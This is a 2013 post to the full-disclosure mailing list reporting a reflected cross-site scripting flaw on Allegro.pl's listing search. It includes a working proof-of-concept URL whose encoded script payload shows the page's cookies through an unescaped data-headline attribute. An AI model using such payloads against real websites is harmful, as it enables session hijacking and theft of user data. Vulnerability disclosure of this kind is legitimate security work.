full-disclosure - Allegro.pl XSS [0-day]

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Date: Thu, 11 Apr 2013 18:27:28 +0200
From: Kacper Szczesniak <kacper@....pl>
To: full-disclosure@...ts.grok.org.uk
Subject: Allegro.pl XSS [0-day]

Hi All!

I was looking for a 19" rack mount today and found this XSS instead:
http://allegro.pl/listing/listing.php?string=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

it turns out to be a custom data-headline attribute that is not properly escaped

tested on Firefox 20, Chrome and others need an xss filter bypass

kacper

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